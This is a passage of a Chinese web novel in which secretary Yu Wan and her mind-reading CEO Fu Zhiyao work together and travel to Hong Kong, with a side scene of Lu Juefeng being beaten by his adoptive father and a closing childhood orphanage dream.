陆随下车,将钥匙交给一旁弯腰行礼的管家。
踏入别墅大门,他就不叫陆随了,他叫陆决风。
雕梁画栋的豪华别墅内,听不到一丝嘈杂的声音,只有不容侵犯的冷静的森严,别墅佣人走上前接过他脱下的西装,轻声提醒他:“陆少爷,老爷在小房间里等您。”
小房间三个字说出口,周围的佣人不自觉颤栗起来,彷佛听到了来自地狱的召唤。
陆决风面不改色,“嗯,知道了。”
他顺着旋转楼梯往上走,经过书房,抵达所谓的小房间,抬手,面无表情地敲了敲门。
门没关。
陆决风推开门走进去,陆宗信背手站在一排整齐的鞭子前,小房间只有一扇狭窄的窗户,冷白的光线透进来,不偏不倚落
在陆决风面前,方方正正,像囚笼一般。
陆宗信听见脚步声,转过身,猛地一巴掌扇到陆决风脸上。
霎那间,陆决风脸上肿起五个鲜红的指印,他被打得脑袋向一侧偏去,嘴角缓缓流下一缕鲜血,火辣辣的疼痛伴随腥气在口腔中蔓延。
陆宗信微眯双眼。
“蠢货!听彩收购的事情你磨了半个多月还没拿下来,反倒叫傅知尧那家伙抢走,你该知道这是什么意思,这是威胁!是屿森对他下药的威胁,你当时为什么不阻止你哥哥的行为,放任他干这种不能一击毙命的傻事!”
陆宗信说着,差点背过气去,他顺了半天,看着站在一旁一言不发的陆决风,心中怒火更盛。
他转过身,拿起墙上的鞭子,声音陡然变得柔和慈爱。
“决风啊,你今年二十五岁了对不对,爸爸年纪也大了,不能关照你多久了,但你心里要一直记着爸爸,照顾好你的哥哥,不要生出多余的心思,懂了吗?这是教训,是关爱。”
紧接着,一鞭子重重落在陆决风身上,长鞭浸过盐水,牛皮做的鞭子韧劲十足,一鞭子下去,陆决风身上的衬衫当即破开,鲜红的血液争先恐后往外流,血腥味钻出来,一点点充斥整个房间。
鞭子的破空声连同男人的闷哼响了许久。
半小时后,陆宗信体力不支,扔掉鞭子,他坐在紫檀木做的太师椅上,不紧不慢端起早已凉透的茶水,掀开茶杯盖,瓷器碰撞,发出清脆的声响。
门外走进来两位保镖,将瘫倒在地的男人拖出去,两位佣人走进来。战战兢兢擦起地板上的血痕。
陆夫人进了别墅,看到熟悉的场景,连眉毛都没皱一下,将手中的包包扔给一旁的佣人,对厨房的佣人叮嘱:“今天老爷累着了,晚餐单独给老爷炖一盅补气血的汤。”
佣人低着脑袋,不敢反驳:“是。”
陆决风卧室。
赵姨照顾了陆决风将近十几年,每次给他上药的时候总是会掉眼泪,她再次劝说陆决风:“决风少爷,离开好不好?离开陆家,去哪里都可以,别待在陆家了……”
陆决风闭着眼,已经没力气说话,眼皮脆弱地轻颤,额头全是渗出的冷汗,伤口的疼痛感连绵不绝,让他始终无法静下自己的思绪。
不行,不够,还没到时间。
再次睁眼,已经是晚上九点半,房门被推开,一道身影走近,吊儿郎当的熟悉声音传来。
“弟弟,怎么又把自己弄成这个样子了,我都说了陆宗信那老头子不是个好东西,你总听他的算什么。”
见陆决风不说话,陆屿森又开口,一副语重心长的模样:“弟弟,这样的日子不会太久的,那老头子也没几年能活了,等他死了,公司就要靠你了,我把总裁的位置让给你,你让我衣食无忧就行,多有盼头啊!”
陆决风闭着眼,没有回答。
陆屿森半点不着急,慢悠悠转着手里的车钥匙:“对了,弟弟,我今天看见了你和一位女人吃饭,好像不是宋楚楚耶,长得蛮可爱的,是你女朋友吗?我让阮秘书查了查,她叫……虞晚,在傅氏工作,对吗?”
陆决风睁开眼,眼神冰冷,似一把泛着森寒的刀,一字一句道:“别打她的主意。”
陆屿森似乎很满意陆决风的表情,他耸耸肩,一脸无辜:“别多想,我只是对她有些好奇而已,你和她小时候都在一个孤儿院呢,缘分啊,你说老头子当年收养你想替我挡灾的时候怎么没连那位小女孩也一起收留呢,白白叫你们错过那么多年,啧,多可惜。”
在陆决风狠戾阴沉的眼神中,陆屿森站起身,举起双手,装作害怕的样子,连连往后退。
“好了好了,我不说了,不饿吗?我让赵姨端点吃的给你。”
片刻,赵姨敲门走进来。
陆决风已经站起身,他背对着赵姨,就着床头柜上水杯里的冷水,一口气将掌心各色药丸吞下。
等赵姨喊他名字,他转过身,只余下唇色的苍白,恢复了一如既往的温润模样。
“赵姨,放那儿吧,我待会儿吃。”
赵姨有些担心,但陆决风一副拒绝沟通的样子,只得放下餐盘,“少爷,您吃完放着就好,我等会儿进来收拾。”
“嗯。”
他站在窗户前,陆屿森开着那辆拉风的红色跑车从地下车库驶出,引擎轰鸣声划破黑暗,顷刻间消失在眼前。
“这样的日子的确不会太久。”
男人注视着黑夜,喃喃出声。
第35章
搞定租房的事情,虞晚并不着急搬家。
她和住在新加坡的房东陈大爷签订的合同从五月份开始履约,但房东早早就将钥匙交给了她,让她自己另行换锁,不过这笔钱陈大爷就没报销了。
等待安装监控的人员安装门外监控时,虞晚趁机将房子内部仔细检查过一遍,房子虽然几年没住人,但各个电器设备运行流畅,完全不需要更换,也并没有虞晚忧心的隐形摄像头。
至于书房,虞晚只是简单扫视一圈,并没有翻动里面的书籍。
出乎她意料的是,陈大爷居然允许她翻阅书房里的书,对此,陈大爷的回答是,既然都签订了合同,对租客信任也是理所当然的。
仅凭这一句,虞晚觉得,陈大爷完全不是向凌先生口中的挑剔房东,哪有这么大方,维修、损坏报销,还允许租客翻看书房的房东。
总之,虞晚还是按照合同约定,在四月底选了个黄道吉日搬家,邀请朋友们在新房内庆祝,完成一次正式而热闹的暖房仪式。
虞晚住的房子在十二楼,透过客厅的窗户,能看到楼下一株高大的紫花泡桐树,喇叭状的花朵簇在枝头,开得漂亮绚烂,花香时而飘进屋内,彷佛与她共同庆祝搬家顺利。
等到泡桐花渐渐落完,绿叶抽芽舒展,就代表春天过去,夏季来临。
虞晚在总裁办的忙碌工作中完成毕业答辩,迎来毕业典礼,粉领长袍一穿,金色穗子一拨,虞晚平平无奇地从一名大学生成为标准的朝九晚五的社畜。
行政部当初和她同批进来的六个实习生里,除了进入总裁办的她,只留下了两个人,一个是赖言栩,一个是张见微。
最让她震惊的还是宋楚楚,她是在被调去后勤部时主动提出了辞职,似乎是不满意人事的安排。
宋楚楚离开公司的时候,虞晚甚至怀疑是不是自己的蝴蝶效应导致剧情的偏差,但后来虞晚得知,将宋楚楚调去后勤的命令是老板下达的。
是老板亲手斩断了和宋楚楚的红线,让一切都朝着未知的方向前进。
不过虞晚没太多时间震惊,听彩在被收购后,虞晚被老板派遣跟进短剧项目的构思和落地。
这么一来,虞晚就更忙了。
出外勤的次数变多,在公司待着的时间减少,傅知尧连续两个星期看不见虞晚身影,只余下每日被前台孙柠送来的三餐。
这天早晨,傅知尧抵达办公室,坐了将近十分钟,早餐才被孙柠送进来。
孙柠拎着早餐袋,战战兢兢,在大老板的注视下将早餐袋中的拿铁和面包拿出来依次摆放好-
【救命!救命!救命!要不是鱼丸用请客吊着我,我才不愿意来傅总办公室送三餐呢,简直太可怕了!】-
【我周围的空气是不是被剥夺了,傅总是不是会法术的魔王,我要窒息了!虞晚到底是怎么在大魔王的注视下呼吸的!】
傅知尧咳嗽一声。
孙柠手一抖,手里的三明治直接掉在桌上,咕噜一下滚到傅知尧手边。
孙柠:“!!!”
“对不起傅总!”
孙柠连忙道歉,颤抖着手拿起三明治重新放好-
【救命救命!还好今天是最后一次,不然我就要疯了,虞晚!你快回来!我一人承受不来!你快回来!把我的思念带回来!】
傅知尧:“……”
他揉
了揉太阳穴,“出去吧。”
孙柠得到命令,忙不迭退出办公室,战战兢兢,像是有怪物在她身后追赶。
傅知尧起身去洗手间照镜子,左看看,右看看,挑了下眉,他今日着装完美,毫无缺点,唇部弧度平直,心情正常,怎么就像大魔王了。
没记错的话,这个孙柠入职前台快三年了,表现还不如虞晚。
至少虞晚第一次见他就敢直愣愣盯着他看,半点害怕情绪都没有。
傅知尧回到办公桌前坐下,端起拿铁喝了一口,手机上虞晚发来消息。
虞秘书:【老板,我今天中午吃完饭回公司,听彩这边项目差不多忙完了,剩下的就交给范总,项目报告明天早上十点前我会发给你,还有什么需要我注意的吗?】
傅知尧垂眸,修长的手指落在手机屏幕上。
片刻,远在公司之外的虞晚收到回复。
老板:【早点回公司。】-
周一是每月例行高层会议,虞晚带好笔记本和录音笔提前去会议室,检查完会议室,坐在小角落等待开会。
傅知尧走进会议室,瞧见坐在角落的虞晚,皱了皱眉,“会议桌不够你坐?”
虞晚愣了几秒,安安静静将椅子搬到傅知尧旁边的位置,电脑、笔记本和录音笔则依次摆到桌上。
“好了,老板。”
这么一来,虞晚和傅知尧只隔着一个桌角,傅知尧不需要转头,就能看到虞晚。
傅知尧不自然地咳嗽两声,翻看面前的文件转移注意力。
“待会儿要汇报的文件准备好了吗?”
“老板您是不是感冒了?”
两人异口同声。
傅知尧动作一顿,“没有。”
虞晚点点头,回答老板的问题:“报告准备好了,不过第一次汇报,还是有点紧张。”
“出去跟项目跟了两个星期,胆子还没变大点?”
虞晚想起星玥酒店何经理拍马屁的话,学以致用,声音清亮地回答:“我主要是提供思路,在项目组同事的出谋划策下不断完善,至于最终的报告,我认为还需要老板您的指导,才能变得更完美。”
傅知尧:“……”
傅知尧眼角抽了抽,撩起眼皮看她:“虞秘书,拍马屁的话对我不管用,你的汇报要是不好,照样要挨骂。”
虞晚讪讪收回视线,没什么底气地“哦”了一声。
难道是她拍马屁手段太低级了?可上次何经理说的时候,她听着觉得特别厉害呀。
虞晚搞不懂,索性不想了,低头翻看自己待会即将上台的汇报文件,不敢有一丝懈怠。她倒是不怕老板批评她,但她十二万的奖金还没发呢,可不能被开除了。
傅知尧翻着手中的文件,嘴角噙着笑,意识到自己翻过了,不紧不慢翻回来,半晌嘴角的笑容还没落下来。
会议按时进行。
傅知尧闲适坐在首位上,听各部门阐述最近的工作项目进度以及下一步工作计划。
投资部汇报视频APP收购的后续工作展开情况。
财务部汇报当月几个超出预算的项目以及收益状况。
人事部汇报重要人事调动和职称评定事宜。
技术部门汇报创新研发项目和预算。
轮到市场部关彦轩。
他站起身:“纽约禾红酒营收已经达到傅总您原先预定的金额,我和酒庄那边的经理对接过,红酒储藏数量充足,物流运输链完整,运输过程中的损耗在可控范围内,下一步,我们准备和辉途旅行社合作,制定酒庄酒店的专属旅行路线,进一步开拓……”
“不错,回头把数据整理好交给我。”
“好的。”
关彦轩拿着文件回到座位,他汇报完,下一个就是虞晚。
虞晚当然不会在这种时候做出深呼吸的动作,她只是拿着汇报文件,一脸平静淡定地走到投影幕布前。
“大家好,我是总裁办的虞晚,接下来由我汇报听彩短视频在收购后有关短剧推行的项目……”
虞晚最擅长的大概就是装冷静,初次和傅知尧见面如此,现在也是,随着项目汇报的深入,虞晚的姿态也愈发放松,在台下主管提出质疑时,并没有慌乱,理性提出自己的见解,同时也感谢对方提出的意见。
讲到项目中的亮点时,唇角不自觉微弯,声音也会往上扬一个度。
关彦轩坐在台下,视线始终跟随虞晚的移动。
谁能知道这样一个小姑娘才毕业没两个月呢,说是有三年的职场经验都不为过。
但最开始的自己居然看不出来。
关彦轩自嘲地收回视线,不经意瞥见坐在主位上的傅知尧,傅知尧视线落在虞晚身上,眼神中是他自己都不曾察觉的欣赏和满意。
关彦轩垂眸,收住眼底晦暗的情绪。
会议结束,与会高管们悬着的心安稳落地。
不知是不是他们的错觉,大老板最近发脾气的次数似乎越来越少,偶尔还能看见大老板对着策划案露出笑容,堪称神迹,众高管恨不得集体去寺庙团建烧香,祈求大老板天天都这种状态。
但与此相对应的,是秘书虞晚。
比起转正前,虞晚要忙碌的工作更多,参加的会议变多,大大小小的审核文件变多,老板甚至将邮件的初审工作也丢给了她。
为了提高效率,虞晚将邮件按照时间和名目整理出一个统一的表格,这样,傅知尧无需打开邮件就能知道邮件内的重要内容,平日一个多小时才能看完的邮件,不到半小时就能处理完。
傅知尧惊叹于小秘书脑子的灵活,于是理所应当地将更多的工作丢给虞晚,甚至工作内容逐渐变得重要起来。
虞晚不敢出错,于是迫不得已开始了社畜加班的旅途。
作为打工人,虞晚打心眼儿里不想加班,但加班不仅能蹭到老板的豪华晚餐还有加班工资,况且佳苑小区离公司并不远,晚上还能报销打车费无需挤地铁,因此虞晚对加班不算抗拒。
只是苦了茶水间的速溶咖啡,三天两头就要补一次货。
蔡秘书知道她爱喝咖啡,不知用了什么办法让行政部那边给总裁办安排了一台单独的咖啡机,并教会了虞晚如何使用。
自从有了咖啡机,虞晚便没去茶水间拿速溶咖啡,每天来公司,第一件事就是兴致勃勃地在总裁办里尝试咖啡拉花,热情地分享给蔡秘书和尚秘书喝。
尚秘书年纪不比二十多岁的小年轻,一杯咖啡下肚,让他失眠到第二天凌晨,对虞晚热情冲泡的咖啡敬谢不敏,至于蔡秘书,一向喜欢小甜水的他勉强喝了几次后就开始叫嚷着工伤,虞晚给他连续买了几天奶茶才拯救他受伤的心灵。
赖言栩和孙柠两人更是坚定地拒绝咖啡,两人说法一致——
没有哪个驴是会给自己买磨干活儿的。
因此,咖啡机买来半个月,虞晚的手艺仍旧停留在初学者状态,半个月过去了仍旧不会拉花,不过是勉强将热牛奶和咖啡液混合而已。
这天晚上照常加班,傅知尧叫住她,“虞秘书,我听蔡秘书说你会冲咖啡?冲一杯我尝尝。”
虞晚:“……”
见虞晚站着没动,傅知尧挑眉:“有问题?”
虞晚赶忙摇头:“没问题。”
她比较希望老板看到她端来的咖啡时觉得没问题。
片刻,虞晚端着托盘走进办公室,将咖啡放到傅知尧办公桌上,傅知尧抽空瞥了眼,差点被丑到。
“……虞秘书,你给我咖啡杯里拉了个什么玩意,柯基屁股?”
虞晚:“……”
这话也忒羞辱
人了。
虞晚尽可能地将傅知尧的认知拉回来,努力辩解道:“老板,这其实是爱心,虽然体积鼓了点,虽然形状扁了点。”
她是不想的,但打奶泡的时间稍微久了点,奶泡打得有些粗糙,最终就变成了这样,她已经尽力了。
傅知尧:“……”
看老板眼神不对劲,虞晚赶忙道:“老板,要不然我重新给你倒一杯,没有拉花的那种,搅匀了的话感观上可能好一些。”
“算了,不用,就这杯吧。”
口吻是无可奈何。
虞晚识时务出门。
等办公室门关上,傅知尧端起咖啡,浅浅品尝了一口,一如虞晚的风格,咖啡温度适宜,不至于烫口,至于好不好喝。
傅知尧觉得,正常水平。
又喝了一口,鼓囊囊的‘柯基屁股’蹭到他唇角,粗糙的奶泡破裂,让人觉得痒痒的。
傅知尧扯了张纸巾擦嘴唇,半晌,再次起身走到虞晚身边。
仗着虞晚看不见她,看虞晚低头认真处理文件。
她手旁,放着那本熟悉的笔记本,已经被她写得差不多,边缘膨起,像是发糕,虞晚又拿出了一个新的笔记本在一旁备用。
备用笔记本还是上回他丢给虞晚那箱垃圾里的,黑色笔记本最下方印着傅氏公司的标识。
没看多久,虞晚拿出手机回复朋友消息,傅知尧微微偏头,挪开视线。
再转过头,就看见虞晚欢快地晃动着肩膀和脑袋,时而抻胳膊放松筋骨,不知遇到了什么开心事。
忽然,虞晚抬眸,隔着单层可视玻璃朝他办公室看来,视线并不凝聚在他身上,但他心弦莫名跟着紧绷起来,浑身好似被定住般不自在。
意识到这点,傅知尧果断转身,朝着自己办公桌走去,将自己的思绪淹没在繁多的工作中。
第36章
六月的海市进入雨季,连续几天都在下雨,雨势并不大,淅淅沥沥落着,拍打着大厦的玻璃外壁。
今天难得需要加班,虞晚处理完工作就瞧见门口站着的老板,连忙收拾好桌子,拎着包跟在老板身后。
下雨天加班就可以蹭老板车回家似乎成了两人心照不宣的约定。
这大概和某次加班后打不到车,冒雨回家感冒有关,第二天来上班的虞晚控制不住地在老板面前流鼻涕、打喷嚏,被老板嫌弃地放了半天假。
后来,每逢雨天加班,其他人都在抱怨,只有虞晚欣赏着雨幕然后想:啊,又可以蹭老板车了。
因为要跨江,车程从地铁的三十分钟增加到四十分钟。
路上,傅知尧看着车窗外淅沥的雨滴,视线落在虚空处,窗外景色黯淡,衬得他神情寂冷,眉目间彷佛也落了一场潮湿粘腻的雨。
傅知尧转过头,不再看车窗外的雨,瞥向一旁还在翻文件的虞晚。
虞晚垂着脑袋,马尾搭在纤瘦的背上,侧脸轮廓挺而柔,拿着一支笔在文件上写写画画,神色专注。
在拼命工作这方面,傅知尧觉得虞晚完全不输他。
“虞秘书。”
傅知尧忽然开口。
虞秘书抬头看他,应声:“嗯?老板。”
傅知尧找茬:“你就不能租个离公司近点的房子?”
虞晚:“……”
真是站着说话不腰疼,她不想租离公司近点的房子吗?她巴不得门一打开就能走进公司。
但这可能吗?
见虞晚没回答,傅知尧眄她一眼,“虞秘书,你不会又在心里骂我吧?”
虞晚觉得傅知尧有疑心病,这是病,得治。
但还是耐心解释:“老板,离公司近一点的房子房租贵得吓人,我租不起。”
虞晚现在租的房子,每月四千六百五,房东大爷和她聊过后,主动免了物业费,虞晚每月只需支付四千五,这相当实惠了。
而公司附近的房子,最便宜都要一万二,虞晚实在租不起,减半都租不起。
傅知尧收回视线,瞧见那只被虞晚戴在左手腕上的女士腕表,一个国外小众设计师品牌的表,价格大概在一万左右,不算太贵。
不过,凭借他对虞晚这个穷光蛋的了解,她是绝对不会买的。
傅知尧想起那天在餐厅外看见的男人,低头拍了拍西装下摆不存在的灰尘,若无其事道:“虞秘书一个月工资不低啊,难不成都花在男朋友身上了。”
虞晚以为这是公司在评估她适不适合升职,诚实回答:“老板,我没有男朋友。”
傅知尧放在膝盖上的手指一顿,轻轻点了点,掀眸看她:“虞秘书这么优秀都没有男朋友?”
虞晚:“……”
夸她优秀,这算是明褒暗贬吗?而且,老板怎么忽然变得这么没有边界感,她有没有男朋友和她优秀不优秀有关系吗?
虞晚懒得多说,随口找了个理由:“没人喜欢我。”
这回发怔的轮到傅知尧。
车内好半天没人说话,安静得只能听见雨水砸在玻璃车窗上的沉闷声响,虞晚对车内诡异的氛围浑然不觉,低头继续看起手中的文件。
傅知尧听见前排老武无奈的叹气声-
【傅总太不会说话了,没男朋友就没男朋友,干嘛还要戳人肺管子,这下好,肯定惹虞秘书生气了。】
傅知尧看虞晚一眼,她垂着眼,看不出什么情绪。
“……你生气了?”
“没有啊。”
老武心底再次叹气-
【虞秘书哪里是没有生气,对着大老板,纵有千言万语,也不敢说啊,伤心泪只能往心里流。】
傅知尧:“……”
他记得当初招老武当司机的时候他分明还不是这样的。
傅知尧沉默两秒,转移话题,问虞晚;“有港澳通行证吗?”
虞晚摇头,“没有,怎么了老板?”
傅知尧将手里的文件丢给她:“找时间加急办一个,下个月出差要用。”
“但老板,出差这事儿一般不都是蔡秘书陪您去的吗?”
“让你去就去,少废话。”
虞晚:“……”
她怎么就说废话了,她还记得上次自己兴致勃勃要去参与谈判被老板给否定的事情。
于是,虞晚坚定表态:“老板,我愿意跟着你去出差,如果以后每次都是我陪您出差就好了。”
出差差旅费可以报销,还能学到知识,对升职加薪有利,她才不会放弃这种好事呢。
谁料傅知尧听到她这话,忽地咳嗽起来,好半天停不下,虞晚赶忙拧开矿泉水递过去。
“老板您喝水。”
傅知尧喝了口水,对上虞晚一脸担心的表情,一时说也不是,不说也不是。
视线一扫,看到虞晚怀里的资料,没好气道:“看你的资料去。”
“哦。”
习惯了老板的喜怒无常,虞晚内心毫无波澜,确认老板并无大碍,认真看起老板给她的文件。
是有关医疗类线上服务平台的建设,傅氏想结合现代化科技手段,打造一条完整的医疗产业链,这和今日会议上投资部提到的其中一个‘好医生’医疗软件有关。
虞晚依稀记得这款医疗软件的基本情况,是和线下数家大型的医疗机构联合起来共同提供服务,使用智能数据分析,为患者提供个性化的健康管理和专业医疗服务建议,是一款相当适合老人的智能检测软件,可以让子女更直观地了解家人老人的身体健康,以便提前应对突发状况。
这次出差,是想将医疗服务平台的服务范围进一步拓展。
合作对象是港城的泽域医疗集团,旗下高端医疗产业发达,通过收购股权以及管理权,先后在内陆多个发达城市布局医疗产业链,最早建立起高端的综合性私立医院,泽域医疗最出名的是
肿瘤医疗服务,包括但不限于早期筛查、诊断、治疗以及康复,为无数富豪和名流信任。
至于治疗费用,虞晚看着文件上一连串的数字,深刻领悟到健康的重要性。
出差去港城当天,海市天气灰蒙蒙的,厚重的云层坠在天边,让虞晚有些忧心。
虞晚默默祈求,希望出差一切顺利。
托傅知尧金钱的福,虞晚头一次乘飞机体验就是坐商务舱,为了防止自己的土包子行为被看出来,虞晚规规矩矩地没有四处打量。
坐在安静宽敞的飞机舱内,虞晚将提前备好的眼罩和U型枕递给老板,自己则研究起座椅前方的小电视,选择了一个没看过的英文电影播放。
中途,空姐推着小推车走来,提供了三种餐食选择:牛排、焖鸡肉、泰式炒虾。
虞晚看得纠结,不知选哪种。
一旁傅知尧靠在座椅上,闲闲来了一句:“三种都给她上一份。”
虞晚震惊。
一是震惊老板怎么还没睡,二是震惊还能这样点餐。
再看空姐,她全程保持微笑,“好的先生,这位女士,请问你想喝点什么呢?我们有香槟、红酒、果汁还有可乐。”
虞晚:“香槟可以吗?”
她还没喝过气泡酒呢。
“当然没问题,喝完随时可以找我们续杯。”空姐将三份餐食以及一份主食摆到虞晚面前,温柔道:“请慢用。”
虞晚点点头,“谢谢。”
“不客气。”
等空姐走开,虞晚凑近傅知尧,小心翼翼询问:“老板,你是不好意思要这么多吃的吗?”
不然,干嘛拿她当借口。
傅知尧:“……”
虞晚继续说:“今天的飞机餐有牛排、焖鸡肉、炒虾,老板你想吃哪些,我先分出来给你。”
傅知尧闭着眼都能找准虞晚脑袋的位置,伸出两根手指头将她无情推开,假笑道:“虞秘书,不会说话就闭嘴。”
虞晚摸着被推开的脑袋:“哦。”
等虞晚吃上飞机餐,就知道为啥老板不吃了,因为……真的很难吃啊!
牛排干巴巴的,鸡肉干巴巴的,炒虾干巴巴的,蔬菜干巴巴的,什么都干巴巴的,除了香槟酒还算不错,这顿饭简直是糟糕。
强撑着吃完三份,最后还有点主食米饭实在吃不下,虞晚干巴巴地看着空姐将残羹收拾干净。
注意到她的眼神,空姐微笑,礼貌询问:“女士,还要吃点吗?”
虞晚头摇得像拨浪鼓,连连拒绝:“不用了,不用了,真的不用了,谢谢。”
因此,也就没看到一旁坐着的某个大魔王嘴角恶劣的笑容。
三小时的飞机行程很快结束,虞晚去行李转盘处取了两人的行李,两只手各自抓着两个行李箱,用耳朵和肩膀夹住手机给提前订好的酒店打电话,询问接驳车辆停在哪里。
走着走着,两只手忽然一空。
傅知尧从她手里夺过两个行李箱,将两个拉杆合并到一起,一只手掌就能轻松抓住,推着两个行李箱大步往前走,看起来毫不费劲。
虞晚愣了两秒,挂断电话追上去,“老板,我电话打完了,我来推吧。”
“走你的路。”
“好的。”
香港天气和海市差不多,厚重的铅灰色云层压在城市上空,狂风肆虐,路边树木明明下午三点不到,天色却暗得像傍晚七点。
车子安静行驶在前往酒店的路上,挡板后的两人一个比一个沉默,虞晚看了眼老板,他的视线落在窗外,漆黑的眼眸中情绪淡到极点。
虞晚知道,每逢雨天,老板的情绪都会比平日低落,话也比平日少。
她没有打扰老板,安静收回视线,拿出手机,看起软件里几位主管发来的审批文件。
几乎是车子刚抵达酒店的瞬间,一场滂沱大雨就落了下来,司机帮忙把行李从后备箱搬下来,用着一口不算流畅的普通话同她说,“虞小姐,你们真的是好幸运啊。”
虞晚笑着说:“是啊,好幸运。”
如果合作也能这么幸运就好了。
和前台核对完身份信息,虞晚引着老板去他的总统套房。
刷卡开门,将酒店门童送来的行李箱推进老板房间。
和老板出差,虞晚不会傻到订什么物美价廉的快捷酒店,但区别对待也是有的,比如老板住的套房一晚的价格可以订五个虞晚住的房间。
虞晚细心检查一遍老板房间内各项设备的使用情况,用自带的即热式饮水机烧好热水,同时将一次性拖鞋拆开放到床边。
傅知尧看虞晚跟个小蜜蜂一样在酒店房间里忙忙碌碌,紧绷的眉头缓缓松开。
忙完,虞晚道:“老板,您到现在一直没吃午餐,我联系前台给您送一碗热汤面先垫垫肚子可以吗?或者您想先休息呢?”
傅知尧神色疲乏,他抬手松了松胸口的领结,将手腕上的手表摘下随意扔到桌上,冷漠拒绝:“不用,酒店五楼有餐厅,我五点半会下楼去吃,你自己看好时间。”
虞晚点点头:“好的。”
她将烧好的热水掺过矿泉水递给老板,又在床头柜上放下几包蒸汽热敷眼罩,“老板我现在回自己房间了,您先休息,待会儿见。”
五点二十,虞晚准时下楼。
餐厅中央小电视播放着新闻:“受七号台风影响,此次降雨将会持续到明日午时两点,今晚六点到八点风力逐级加强,请大家尽可能待在室内,关闭门窗,减少外出,同时,受台风影响,今日航班将面临停运或延误,请市民合理安排出行时间……”
餐厅内吃饭的客人无不抱怨-
【靠,什么时候下雨不好,偏偏带情人来约会的时候下雨,这下好了啊,今晚回不了家,那位老太婆肯定又要啰嗦啊,简直要命。】-
【下暴雨好啊,最好整个世界都淹没,全世界的人死光好了,嘿嘿。】-
【艹,出门的时候忘关窗户了,刚买的房子就泡水,要死啊!】-
【倒霉倒霉,真倒霉,每次出差都碰上坏天气,港城和我有仇是吗?】
……
傅知尧站在餐厅的落地窗前,窗外墨雨如注,夜色侵袭,如黑洞般好似能将所有人吞噬,屋内声音繁杂吵闹,心声和人声交织,让他迟迟静不下心来。
早知如此,还不如在房间内吃饭。
但越是雨天,他就越是觉得自己需要吵闹,太安静的地方像墓地,只会让他想逃离。
转过脸,看到虞晚正盯着菜单发呆,傅知尧拉开椅子坐下,“看出点花儿没有?”
虞晚眨眨眼,作为一个合格的秘书,虞晚耳朵已经能自动屏蔽老板讽刺的话,她指着菜单上的图片。
“老板,珍珠糯米丸看起来很好吃的样子。”
“没吃过?”
虞晚摇头:“没吃过,小时候看电视,听到这个名字,我还以为是有珍珠裹在里面,我当时就想,这道菜里面有珍珠,那得多贵呀,一定非常好吃。”
傅知尧静静看着虞晚。
虞晚笑笑,不好意思地说:“长大后才知道,珍珠糯米丸子里没有珍珠,但我也没吃过一次,其实我现在不是没钱吃这道菜,也不是没地方买这道菜,大概是我潜意识里觉得珍珠糯米丸子没我想象中那么好吃,只是年纪小嘴馋惦记而已,不是非吃不可,所以到现在都没吃过。”
虞晚生命中能长久拥有的东西实在不多,从小在孤儿院长大的缘故,虞晚对事物的占有欲很低,长大后,经常会被人指责情感淡漠,像机器人,像软包子,无趣又木讷,不适合当朋友。对这类声音,虞晚很少会反驳,因为她知道,每个人成长环境不同,经历不同,没有人一定懂她,不必强求他人的理解,太过在意他人的目光,何尝不是给自己造牢笼。
因此,说这话时,虞晚不抱有半点诉苦的情绪,只是淡淡地讲述,声音轻缓柔和,像是静谧流动的溪水,让听的人恍了神。
傅知尧什么都没说,抬手招来服务员点餐。
片刻,热腾腾、精致的菜肴依次上桌,虞晚将碗筷用热水冲洗干净,递给傅知尧。
傅知尧早就习惯虞晚的服务,等她一一将烫洗干净的餐具摆到他面前。
最后一道菜端上来,虞晚一愣,抬头看向傅知尧,声音有些涩然:“……老板。”
傅知尧拿起筷子,神色如常,朝她点了点下巴,“尝尝,看看里面到底有没有珍珠。”
再普通不过的一句话。
虞晚眼眶忽然感到一阵发热,盯着面前那道珍珠糯米丸,嘴角扯出了一个似哭非哭的难堪笑容,千万思绪在脑子里汇聚,如旋涡般搅动。
最终,她只轻声说了句:“谢谢老板。”
谢谢老板不拘一格用人才将她选进总裁办,谢谢老板给她转正机会和高昂工资,谢谢老板在看到举报信时还愿意相信她,谢谢老板在工作上给她的指导和支持。
当然了,如果傅知尧让她升职加薪的话,那傅知尧就是世界上最好的老板。
没有之一。
但这话虞晚可不敢直说,只恳求自己的努力工作被老板看到,年终的时候奖金丰厚些,让她过个肥年。
傅知尧视线落到虞晚身上,寡淡平和的五官里,虞晚的眼睛是最漂亮的部分,瞳仁黑得纯粹,转动时像宝石闪烁着光芒,澄澈干净,眼睫浓而密,眼尾线条下耷,注视人的时候总给人一种全心全意被信任的感觉,像是一条摇着尾巴的毛茸茸的小狗。
让人无法拒绝。
餐厅内音箱播放着音乐,将室内室外装点成两个不同的世界,女声缱绻温柔,低缓地用粤语吟唱歌词中蕴藏的感情和心动。
傅知尧觉得自己魔怔了,他似乎看到了虞晚眼里的泪水,但下一瞬便消失不见。
对视中,傅知尧眼眸动了动,最先低下头。
“虞秘书,吃饭时不要讲话。”
第37章
虞晚立刻收起自己感性的一面,遵命道:“好的老板。”
咬一口滚烫的珍珠糯米丸,糯软的糯米之下是鲜弹的肉馅,肉馅儿里加了马蹄碎,吃起来除了鲜美,还有种脆脆的口感,软糯和脆爽相两种口感交加,中和肉馅带来的腻味。
虞晚觉得,这珍珠糯米丸比自己想象中还要好吃,五颗珍珠糯米丸,傅知尧只吃了一颗,剩余的,被虞晚包圆,吃了个大满足。
直到将老板送回房间虞晚还在雀跃。
虞晚也不知道自己在开心什么,大概是对比中午的飞机餐,今日的晚餐实在是太好吃了吧。
虞晚这样想。
洗完热水澡,躺到柔软的床上,虞晚翻来覆去睡不着,脑海里反复回荡着傅知尧说的那句话。
“尝尝,看看里面到底有没有珍珠。”
虞晚揉揉自己的脸蛋,试图阻止自己的傻笑,然而结果证明是徒劳,虞晚最终是带着笑容入睡的。
不知是不是吃了那道儿时梦寐以求的菜,梦中,虞晚的身体不断缩小,回到了小时候的孤儿院。
她正坐在椅子上,认真看着电视里人们品尝热腾腾的珍珠糯米丸,馋到流口水。
吱呀一声,门被推开。
院长妈妈表情刻薄严肃,身影高大可怖,瞧见小虞晚偷看电视,拿起一旁的教棍就要打她。
小虞晚吓得从椅子上跳下来,拼命奔跑,跑出房间,跑过教室,最后躲进了一个柜子里。
柜子里有一个面容精致漂亮的小男孩,他看着小虞晚,半点不害怕。
“你是谁?”
小虞晚竖起手指,表情认真严肃:“嘘。”
昏暗的柜子里,只有缝隙透进来的一缕光,小男孩一双眼深沉漆黑,宛如黑曜石,他定定盯着小虞晚,一句话都没有说。
等院长妈妈愤怒的骂声远去,小虞晚松口气,同小男孩握握手,学着大人的样子介绍起自己。
“我叫虞晚,虞,我不会写,晚,晚就是夜晚的晚。”
